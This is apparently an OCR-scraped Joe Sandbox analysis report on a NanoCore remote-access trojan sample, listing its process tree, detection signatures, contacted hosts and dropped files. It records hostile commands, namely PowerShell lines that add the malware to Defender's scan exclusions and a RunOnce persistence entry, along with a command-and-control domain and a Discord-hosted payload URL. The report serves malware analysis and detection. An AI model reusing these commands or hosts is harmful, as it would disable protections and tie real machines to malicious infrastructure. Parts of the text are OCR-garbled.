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System Behavior
Analysis Process: s9SWgUgyO5.exe PID: 6376 Parent PID: 5196

General
File Activities
File Created
File Written
File Read
Registry Activities
Key Created
Key Value Created
Analysis Process: powershell.exe PID: 6564 Parent PID: 6376
General
File Activities
File Created
File Deleted
File Written
File Read

Analysis Process: conhost.exe PID: 6572 Parent PID: 6564

General

Analysis Process: powershell.exe PID: 6588 Parent PID: 6376
General
File Activities
File Created
File Deleted
File Written
File Read

Analysis Process: conhost.exe PID: 6640 Parent PID: 6588

General

Analysis Process: powershell.exe PID: 6648 Parent PID: 6376
General

Analysis Process: conhost.exe PID: 6748 Parent PID: 6648
General

Analysis Process: svchost.exe PID: 6956 Parent PID: 556
General

Analysis Process: s9SWgUgyO5.exe PID: 7060 Parent PID: 6376
General

Analysis Process: svchost.exe PID: 7084 Parent PID: 556
General

Analysis Process: WerFault.exe PID: 7124 Parent PID: 7084
General

Analysis Process: svchost.exe PID: 4956 Parent PID: 3472
General

Analysis Process: svchost.exe PID: 2376 Parent PID: 556
General

Analysis Process: svchost.exe PID: 3708 Parent PID: 556
General
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General
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General
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General
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General
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General

Analysis Process: powershell.exe PID: 2196 Parent PID: 4956
General
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General

Analysis Process: powershell.exe PID: 1752 Parent PID: 4956
General

Analysis Process: conhost.exe PID: 6836 Parent PID: 1752
General

Analysis Process: svchost.exe PID: 6728 Parent PID: 3472
General

Analysis Process: WerFault.exe PID: 7068 Parent PID: 7084
General

Analysis Process: svchost.exe PID: 6792 Parent PID: 556
General

Analysis Process: powershell.exe PID: 340 Parent PID: 6728
General

Analysis Process: conhost.exe PID: 6000 Parent PID: 340
General

Analysis Process: powershell.exe PID: 1848 Parent PID: 6728
General

Analysis Process: WerFault.exe PID: 2964 Parent PID: 4956
General
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General 117
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Windows Analysis Report s9SWgUgyO5.exe

. Detected Nanocore Rat
NS MR HOA'
m Y v

Overview
General Information Detection Signatures Classification
Sample s9SWgUgyO5.exe
Name: MALICIOUS Snort IDS alert for network traffic (e....
Analysis ID: 491708 Yara detected UAC Bypass using C...
MDS: b462382cb954486.. Multi AV Scanner detection for subm...
SHAL:

0ac9e261eafc3sf.. Malicious sample detected (through ...
SHA256: 6a19a144807268.. "

Sigma detected: NanoCore

Tags: exe | NanoCore | RAT

- - . Yara detected AntiVM3
B L heh i | octeceaNarocorerat |

System process connects to networ...

Most interesting Screenshot:

Nanocore Multi AV Scanner detection for dropp...

Score: 100 Yara detected Nanocore RAT

Range: 0-100 Hides threads from debuggers
Whitelisted: false

X Tries to detect sandboxes and other...
Confidence: 100%

Changes security center settings (no...

Machine Learning detection for samp...

Process Tree
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= System is w10x64
e [ s9SWgUgyOs5.exe (PID: 6376 cmdline: 'C:\Users\user\Desktop\s9SWgUgyO5.exe' MD5: B462382CB954466386F9334247E0A34C)
o E¥ powershell.exe (PID: 6564 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\?

o E¥ powershell.exe (PID: 6588 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\s9SWg
UgyO5.exe' -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

. conhost.exe (PID: 6748 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e B s9SWgUgyO5.exe (PID: 7060 cmdline: C:\Users\user\Desktop\s9SWgUgyO5.exe MD5: B462382CB954466386F9334247E0A34C)
. Q’ WerFault.exe (PID: 1060 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6376 -s 2576 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
e (B svchostexe (PID: 6956 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: 32569E403279B3FD2EDB7EBD036273FA)
e (B svchostexe (PID: 7084 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: 32569E403279B3FD2EDB7EBD036273FA)
. Q’ WerFault.exe (PID: 7124 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 6376 -ip 6376 MD5: 9E2BBACAD48ECCA55C0230D63623661B)
. Q’ WerFault.exe (PID: 7068 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4956 -ip 4956 MD5: 9E2B8BACAD48ECCA55C0230D63623661B)
. Q’ WerFault.exe (PID: 6444 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 6728 -ip 6728 MD5: 9E2BBACAD48ECCA55C0230D63623661B)
e (B svchostexe (PID: 4956 cmdline: 'C:\Users\Public\Documents\??2?2?2?2?2???2?2?2????\svchost.exe’ MD5: B462382CB954466386F9334247E0A34C)
o E¥ powershell.exe (PID: 3444 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\?

.

. conhost.exe (PID: 6836 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
w WerFault.exe (PID: 2964 cmdline: C:\Windows\SysWOW&64\WerFault.exe -u -p 4956 -s 2184 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
svchost.exe (PID: 2376 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 3708 cmdline: c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 3240 cmdline: c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 4988 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
svchost.exe (PID: 6728 cmdline: ‘C:\Users\Public\Documents\???????2???2?????\svchost.exe’ MD5: B462382CB954466386F9334247E0A34C)

.

.
L]

EEEE

conhost.exe (PID: 980 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. @ WerFault.exe (PID: 5576 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6728 -s 2600 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
e [B svchostexe (PID: 6792 cmdline: c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsve MD5: 32569E403279B3FD2EDB7EBD036273FA)
. == MpCmdRun.exe (PID: 6708 cmdline: ‘C:\Program Files\Windows Defender\mpcmdrun.exe’ -wdenable MD5: A267555174BFA53844371226F482B86B)
. conhost.exe (PID: 4840 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e B svchostexe (PID: 5596 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [E svchostexe (PID: 1500 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
e [E svchostexe (PID: 7052 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

Memory Dumps

Source Rule Description Author Strings
0000000E.00000000.364082141.000000000610 JoeSecurity_AntiVM_3 Yara detected Joe Security
0000.00000004.00020000.sdmp AntiVM_3
0000000E.00000000.364082141.000000000610 JoeSecurity_ UACBypassu Yara detected Joe Security
0000.00000004.00020000.sdmp singCMSTP UAC Bypass using
CMSTP
0000000A.00000002.526244100.000000000715 Nanocore_RAT_Gen_2 Detetcs the Florian Roth e 0x5b99:$x1: NanoCore.ClientPluginHost
0000.00000004.00020000.sdmp Nanocore RAT e 0x5bb3:$x2: IClientNetworkHost
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Source Rule Description Author Strings

0000000A.00000002.526244100.000000000715 Nanocore_RAT_Feb18_1 Detects Nanocore Florian Roth e 0x5b99:$x2: NanoCore.ClientPluginHost
0000.00000004.00020000.sdmp RAT e Ox6bce:$s4: PipeCreated

e 0x5b86:$s5: IClientLoggingHost
00000000.00000000.322095738.000000000614 JoeSecurity_AntiVM_3 Yara detected Joe Security
0000.00000004.00020000.sdmp AntiVM_3

Click to see the 98 entries

Unpacked PEs

Source Rule Description Author Strings
27.0.svchost.exe.4f84f60.8.unpack JoeSecurity_AntiVM_3 Yara detected Joe Security
AntivVM_3
27.0.svchost.exe.4f84f60.8.unpack JoeSecurity UACBypassu Yara detected Joe Security
singCMSTP UAC Bypass using
CMSTP
10.2.s9SWgUgyO5.exe.4627f21.10.unpack Nanocore_RAT_Gen_2 Detetcs the Florian Roth e 0x2dbb:$x1: NanoCore.ClientPluginHost

Nanocore RAT

0x2de5:$x2: IClientNetworkHost

10.2.s9SWgUgyO5.exe.4627f21.10.unpack Nanocore_RAT_Feb18 1 Detects Nanocore Florian Roth e 0x2dbb:$x2: NanoCore.ClientPluginHost
RAT e 0x4c6b:$s4: PipeCreated
10.2.s9SWgUgyO5.exe.71e0000.35.unpack Nanocore_RAT_Gen_2 Detetcs the Florian Roth e Ox4lee:$x1: NanoCore.ClientPluginHost

Nanocore RAT

0x422b:$x2: IClientNetworkHost

Click to see the 234 entries

Sigma Overview

AV Detection:

Sigma detected: NanoCore

E-Banking Fraud:

Sigma detected: NanoCore

System Summary:

Sigma detected: Non Interactive PowerShell

Sigma detected: T1086 PowerShell Execution

Stealing of Sensitive Information:

=

Sigma detected: NanoCore

3‘

Remote Access Functionality:

Sigma detected: NanoCore

Jbx Signature Overview

@ Click to jump to signature section

AV Detection:

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for

Yara detected Nanocore RAT
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:

Exploits:

Yara detected UAC Bypass using CMSTP

=

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

E-Banking Fraud:

=

Yara detected Nanocore RAT

System Summary:

=

Malicious sample detected (through community Yara rule)

Persistence and Installation Behavior:

‘]

Boot Survival:

‘]

Hooking and other Techniques for Hiding and Protection:

]‘]

Malware Analysis System Evasion:

Yara detected AntiVM3

=

Anti Debugging:

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

:

Lowering of HIPS | PFW | Operating System Security Settings:

]‘

Stealing of Sensitive Information:

Yara detected Nanocore RAT

]‘

Remote Access Functionality:
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Detected Nanocore Rat

Yara detected Nanocore RAT
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic
Delphi
Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
s9SWgUgyO5.exe 26% Metadefender Browse
s9SWgUgyO5.exe 36% ReversingLabs ByteCode-

MSIL.Trojan.Woreflint
s9SWgUgyO5.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\Public\Documents\??????????2?????\svchost.exe 100% Joe Sandbox ML
C:\Users\Public\Documents\??????????2?????\svchost.exe 26% Metadefender Browse
C:\Users\Public\Documents\???????????????\svchost.exe 36% ReversingLabs ByteCode-

MSIL.Trojan.Woreflint

Unpacked PE Files

Source Detection Scanner Label Link Download
10.2.s9SWgUgyO5.exe.60a0000.20.unpack 100% Avira TR/NanoCore.fadte Download File
10.2.s9SWgUgyO5.exe.400000.0.unpack 100% Avira HEUR/AGEN.1108376 Download File
Domains
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https://www.metadefender.com/#!/results/file/bzIxMDkyNVFvMFRJbjZHS3hJMklpbFRWckg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDkyNVFvMFRJbjZHS3hJMklpbFRWckg/regular/analysis

No Antivirus matches

URLs

Source Detection Scanner Label Link
http://crl.ver) 0% Avira URL Cloud safe
http://https://%s.xboxlive.com 0% URL Reputation safe
http://https://dynamic.t 0% URL Reputation safe
http:ifhttps://%s.dnet.xboxlive.com 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation
cdn.discordapp.com 162.159.133.233 true false high
friomo.duckdns.org 194.147.140.25 true false high

Contacted URLs

Name Malicious Antivirus Detection Reputation
hitp:if false high
https://cdn.discordapp.com/attachments/886962207051640872/890689205934620692/4102A6

C4.jpg

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious
194.147.140.25 friomo.duckdns.org unknown 47285 PTPEU false

162.159.133.233 cdn.discordapp.com United States 13335 CLOUDFLARENETUS false

Private

P
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 491708

Start date: 27.09.2021

Start time: 20:26:26

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 13m 57s
Hypervisor based Inspection enabled: false

Report type: light

Sample file name: s9SWgUgyO5.exe
Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 50

analysed:

Number of new started drivers analysed: 0
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Number of existing processes analysed: 0

Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.expl.evad.winEXE@68/65@19/5
EGA Information: Failed
HDC Information: e Successful, ratio: 1.1% (good quality ratio 0.3%)

e Quality average: 16%
e Quality standard deviation: 24.1%
HCA Information: ® Successful, ratio: 100%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

20:27:31 API Interceptor 248x Sleep call for process: powershell.exe modified

20:27:32 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Public\Documents\\svchost.exe
20:27:33 API Interceptor 2x Sleep call for process: svchost.exe modified

20:27:42 API Interceptor 833x Sleep call for process: s9SWgUgyO5.exe modified

20:27:42 Autostart Run: HKCUB4\Software\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Public\Documents\\svchost.exe
20:28:01 API Interceptor 3x Sleep call for process: WerFault.exe modified

20:29:04 API Interceptor 1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View | Context

IPs

No context
Domains

No context

ASN

No context

JA3 Fingerprints
No context

Dropped Files

No context
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Created |/ dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Process: C:\Windows\System32\svchost.exe
File Type: data

Category: dropped

Size (bytes): 4096

Entropy (8bit):  0.597889115294713

Encrypted: false

SSDEEP: 6:bVWtIEk1GaDOJOCEfMuaaD0JOCEfMKQmMDFWitAl/gz2cEOfMbhEZoIrRSQ2hyY18:bSIrGaD0JcaaD0JwQQLtAg/0bjSQJ

MDS5: C6B68FB446CD9655465B2DD69E146736

SHA1L: 03F43D3D709A5944E210445374C4619962D6444A

SHA-256: 69F79C824C096D6B49E00C8D1AADS3B366F8D3AFEY52C57BEIAFI40200B1BASE

SHA-512: BCDB6FA27F9B5BF4560F4834030EAAFAB43D602E935F8B79776E678824FB353DE8188ED1D81ES545EF21F931CC1BE71BCFE32C05D80E469B7318112E64BA5257
Malicious: false

Reputation: unknown

Preview:

..1C:\ProgramData\Microsoft\Network\Downloader\
............................. C:\ProgramData\Microsoft\Network\Downloader\.

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Process: C:\Windows\System32\svchost.exe

File Type: Extensible storage engine DataBase, version 0x620, checksum 0xa184da57, page size 16384, DirtyShutdown, Windows version 10.0

Category: dropped

Size (bytes): 32768

Entropy (8bit):  0.09696631501936084

Encrypted: false

SSDEEP: 6:pOzzwl/+sP8N3sXRIE11Y8TRX60gcDflyKLOzzwl/+sP8N3sXRIE11Y8TRX60gcL:C0+UXO4bl63Kg0+UXO4bl63K

MD5: A79A19C44ED55C14608E240BFEESBFC8

SHA1L: DB83C48EA201EEC5AE496B9A5367F16CE4DOF555

SHA-256: D06731C38753D22630BDBF3DEBECC4179FD3D6156ABA77898CB147371C0331EA

SHA-512: 202A3D494E4BA27C5EC699002EA288A37BA648BBC01C67805C9558E1C83881B08AFF5F2CA4CDBEC4712120E4FAESFBDB111843E24E7F4AA3AA632503F1656D9L
5

Malicious: false

Reputation: unknown

Preview:

W

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Process: C:\Windows\System32\svchost.exe

File Type: data

Category: dropped

Size (bytes): 8192

Entropy (8bit):  0.11110880985443841

Encrypted: false

SSDEEP: 3:Kr9EvHa+/JI/bJdAticDflltloll: Kk6AJt4ZDfle

MD5: 158866F10AA15FE3B9B505397ACAA82E

SHAL: D1BCC215039A4DDF95F059A0A4D2AEC96868C3BF

SHA-256: CAB746946665B9DB240EE9FF91B63FF69703B2D5C32D38D5B83094EEA59240A3

SHA-512: 403DF18B675DF154FB3ESF5EAC2AFADEB41361D681A2CB147BEC5EB032162594E187E2285BB80C4F175DB42019F99A2920ED088E9B947F46FC776D404EEC15C
A

Malicious: false

Reputation: unknown

Preview:

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators
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Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

dropped

17054

3.758286325439245

false

192:PAgoThémHBUZMXiaKeCvgdw1Z/u7srS274ItEs:4t9rBUZMXiaeAu/u7srX4ltEs

0030545419B1EA08860E5C7687B4AD98

E3D8AABA5823C483B631093DE91F7338EB21279B

B1BE483413F694B06C1CC9E897D523DE50A022CD56DD2B54C17E3CF3763D89F1
380D298F8737046A1F2EA2E93A24CD15835B00510DE1484016FC34FAB02148EA1B4F4C68249505EDE2C19C7FC8FD511205F5D47E3D3A477BF6AAFE4AF22B636D!
true

unknown

.V.ersio.n=1...EventTy.p.e=CLR.20.r3...EventTim.e=13.277.27326.8.2.3.8.95.0.0...Re.p.o.rtTy.p.e=2...C.ons.ent=1..Up.loadTim.
e.=.1.3.2.7.7.2.7.3.2.7.7.8.4.8.2.9.5.6....R.e.p.or.tS.tatu.s.=524384...Rep.ortldentifier=a5.1b.9.6.f4.-e.b.8.0.-4.4.6.2.-.8.6.2.9.-5.6.d.6.9.a.e.0.c.e.a.
5...lnteg.rato.r.Re.p.ortldentifier=d.7.8.a94.3.1.-6.3.95.-48.d.5.-.b.7.6.5.-.8.e.c.d.9.3.0.d.7.2.d.8....W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.
=.3.3.2....N.s.App.N.am.e=s.9.SW.g.U.gy.05..exe...Ap.p.S.e.s.s.io0nG.u.id=0.0.0.0.1.8.e.8.-0.0.0.1.-.0.0.1.6.-.b.c.7.0.-.9.e.c.1.1.8.b.4.d.7.0.1.....T.a.r.g.e.
tA.p.p..d.=W...0.0.0.6.d.f.7.a.4.9.7.9.6.f.2.4.0.7.d.0.d.a.a.e.a.0.d.9.2.0.d.3.9..¢.9.0.0.0.0.0.0.0.0.1.0.0.0.0.0.a.c.9.e.2.6.1.e.a.f.c.3.6.f.2.d.8.a.7.b.d.a.5.7.5.5.b.4.4.c.9.
d.8.c.8.8.3..9.1.5.9.S.W.g.U.g.y.0.5...e.x.e....T.ar.g.et.Ap.p.V.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe_{f7137cbad9f7f196b5e4d4e5d71130be24217a9_1341e600_0bfe5cel\Re

port.wer
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

16900

3.7746319243941113

false
192:0AMINNPHBUZMXyaKeCvgdwNt/u7sQS2741t531:5mVFBUZMXyaeAK/u7sQX4It5V
F221E9557D3B7634FCA08DE93459FCAS
CO1CBECEESC5CAE25A85D2F1A5D3FAAF235FFCEB
D7CA1E87A67C87F7589E2C450D6DABSDBABC4ACFE7B337B9BD2DEC53615086A5

14F5EB95CBD5ABB8A78C24FE910A7B16B288E899576454B49F328B19195D6A971C240E9B753EB8643A43553E6CEBO7F30803AAFAEBSE16097FEDEG4AF4F425AD
E

false

unknown

.Version=1..EventType=CLR20r3..EventTimex=13277273.28826.01.742..Rep.ortType=2..Consent=1..UploadTim.
e=13.2.7.72.733.0.3.4.1.6.3.4.9.7...ReportStatus=524384..Rep.ortldentifier=12cd8b.2f-0f6.c-4142-b6.b.e.-8e.l8e0.ef8ad
a...lntegratorRep.ortldentifier=716.05e.9.f-fd6.6.-48.0.8.-9.0.ae.-.e18.c.9.abh05f21..W.0w.6.4H0s.1t=34404..W.ow.64Gues.t
=.3.3.2...NsApp.Nam.e.=sv.chost.exe..Ap.p.S.es.s.io.nG.u.id=0.0.0.0.135.c.-0.0.0.1.-0.0.16.-.d.2.a.4.-.9.b.c.b.1.8.b.4.d.7.0.1...T.ar.g.et.Ap.
p.l.d.=.W.:.0.0.0.6.d.f.7.a.4.9.7.9.6.f.2.4.0.7.d.0.d.a.a.e.a.0.d.9.2.0.d.3.9.e.¢.9.0.0.0.0.0.0.0.0.1.0.0.0.0.0.a.c.9.e.2.6.1.e.a.f.c.3.6.f.2.d.8.a.7.b.d.a.5.7.5.5.b.4.4.c.9.d.8.c.
8.8.3.e9.lswv.chost.exe..TargetAp.pV.er=202.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_svchost.exe f7137cbad9f7f196b5e4d4e5d71130be24217a9 1341e600_15a2778d\Re

port.wer
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerfFault.exe

Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

16804

3.77561932599221

false
192:2/9n8PHBUZMXyaPXUAeZn/K/u7sQS2741t5h:AVEBUZMXyapmS/u7sQX4ltsh
671D08D466B7F86D48FCF156246E12FA
5ACBFCB3D7A4D8A0025C32E373C7F2E875B8B9B3
EF364091439091F51917B1B6EDAGDEA22D112C341F05C676A8EFAA90EOEOCS28
OCDE87A86C1E9546AB45742547917C5CEOB90COE90D191DC321AFC2FD726D91421CA2F5D1509B38318638F217A7BES7D39A43E36468EASFEF3695997E22D8A6
false

unknown

.Version=1..EventTy.p.e=CLR20.r3.. . .EventTime=132772733.06.1.1.2.0.054...R.e.p.ortTyp.e=2..Consent=1..UploadT.im.
e=13.2.7.727.3.3.1.06.589.24.2....Rep.ortS.tatus.=524384...Rep.ortldentifier=0.21.cd5.c8.-4.a58.-49b.3.-9.c.eb5-9.281.2.ced.2c.7.
f...lLnte.gratorR.ep.ortldentifier=3a.c4.17.0.6.-0a1.0.-4.6.4.a.-8b.4.2.-075a9.e.9.8.c6.44..W.0ow.6.4H.0s1t=34404...W.ow.6.4G.ues.t.
=.3.3.2...N.s.App.p.N.am.e.=s.v.c.ho.st.exe..Ap.p.S.es.s.ionG.u.id=0.0.00.1.a4.8.-.0.0.0.1.-0.0.16.-e.b.8.1.-.2.6.d.1.1.8.b.4.d.7.0.1.... T.ar.g.e.t Ap.
p.l.d.=.W...0.0.0.6.d.f.7.2.4.9.7.9.6.f.2.4.0.7.d.0.d.a.a.e.a.0.d.9.2.0.d.3.9.e.c.9.0.0.0.0.0.0.0.0.1.0.0.0.0.0.a.c.9.e.2.6.1.e.a.f.c.3.6.f.2.d.8.a.7.b.d.a.5.7.5.5.b.4.4.c.9.d.8.c.
8.8.3.e9.!swv.chos.t.exe..TargetAp.p.V.er=20.2.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1CFA.tmp.dmp

Process:

File Type:

C:\Windows\SysWOW64\WerFault.exe
Mini DuMP crash report, 15 streams, Tue Sep 28 03:28:15 2021, 0x1205a4 type
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER1CFA.tmp.dmp

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

dropped

323198

3.725504600376241

false

3072:dn0eGjd+pXBS+dsAg49glOgF5EtOMUCgUgkyic57GoGW1YdZ0z:10QpX9RpDOHT|9Pu

9BB5BD22BDF503CB6B7A78C47D60A59D

2AC261E5AE1B3FA55E1B8845C3D4BAADAC8426A0

FD59FC389C328D780BF9717CF6AFA29F87F48772FBIDB7266C06480CCC959B71
B7E12F63A2EBEC089FA3005AF5117C4999F3C56434EA9820C25F6D607B65D79A3F4412A7986E194896B872A7CF3D447A586AC669586A5A4CCC2FDD373BE68CY
false

unknown

MDMP....... c.cc.e. Ra....cciiis Ui B.....X0......GenuinelntelW........... T.... \..Rai O Paacciilfiie. Sitaind.ard. . Timee. .
.1.7.1.34..1..x8.6.fre..rs4._releas.e.1804.1.0.-.1.8.0.4.

.................................................................................................. d.0.9.€.0.1.€...1.3.8.6.,.1.0...0... 1.7.1.3. 4. Lo

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D71.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8398

3.694226526923169

false
192:Rrl7r3GLNi1D3606Y1pSUO81dgmfZBSnCprRV89bSCsfCmm:RrIsNi1z606Y2SUO81dgmfPSsCSBf6
C899446972CBE9D56ACDESBF6E6091D44

094D536E778CE700AF5F4748B6E5193EF7D5E2C3
BFEFEC2412ED7A970276B99890115B61D969C66C2E1D13CD8864DDDD9292C8D7

0626FFB91545B66F1C9ID42DA2C8092FCED2B6C69DBD3930BA0AFF68D3BCFDAF63B859AFBI0B7AAB48A70ESECEFAL4BDBDY503148389DC13915E6DCE4E527F¢
F4

false

unknown

.<.?2xml .version="1.0" en.c.o.ding="UTF.-16."?>..<WERR.eportMetadata>...<0.SV.ersionlnformation>....<W.ind.
o.w.s.N.T.V.ers.i.on>10..0</WindowsNTV.ers.ion>....<Build>17134.</Bu.ild>.....<Pro.du.ct>(0x3.0.).:. .W.ind.ow.s. .10. .P.ro.
</P.roduct>....<Editio.n>Professional</Edition>....<BuildString>17134.1.amd64fre.rs4. _releas.e..18.0.4.1.0.-18.0.4.
<./.B.u.ild.S.trin.g> .<Rewvision>1l</Revision>....<Flav.or>Multipro.cess.or Free</Flavor>....<Architecture>X6.4</.
Arc.hitecture>.....<LClD>1033</LC.ID>...</0.SV.ersio.nlnformadtion>...<Proc.ess.lnformation>....<P.id>4956.</P..
d>...

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA4F37.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerfFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4676

4.447974775107029

false

48:cviwSD8zsItgtWI9p1WSC8B+2a8fm8M4JCulhLC207Fc+q8v5IhLC20N/rAdicz:ul TFIH+ESN/JCum2jK5m2AzAdiidd
8EBA29E0934E36ABBCF48CA698D0OF548

D7B01745C1F43B300A0A0A2E5FI0DFB27417ECOE
87F68171C2EA2BOEC19F150A6CCF763720058017A20CCCFOB4DE4606B2EF086C

BOD6457B5B01AA60C770B7019BCDBO3DCFCAF3BF1733B049008546A10FCFE4368F3720E04C1ABC7E10FBC4235C754CFF48100B8CDADO2EB7002CE23FCD5F4:
F3

false

unknown

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqgfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="Icid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1185878" />.. <arg nm="osinsty" val="1"/>.. <arg nm="iever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F47.tmp.csv

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

C:\Windows\System32\svchost.exe
data

dropped

56290

3.05501169844307
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F47.tmp.csv

Encrypted: false

SSDEEP: 1536:IKH+0OgsptLjdNoREgZ6nWwzHDXemQ9cIBhT78Uw+p:IKH+OqgsptLjdNoREgZ6nWwzH7emQ9cl/

MDS5: ODAD44EDB9FFB5E88BC76F55ADA34BDD

SHA1L: 3A7D4A3E218C0AC91B32B44E93B581AE5AF929F3

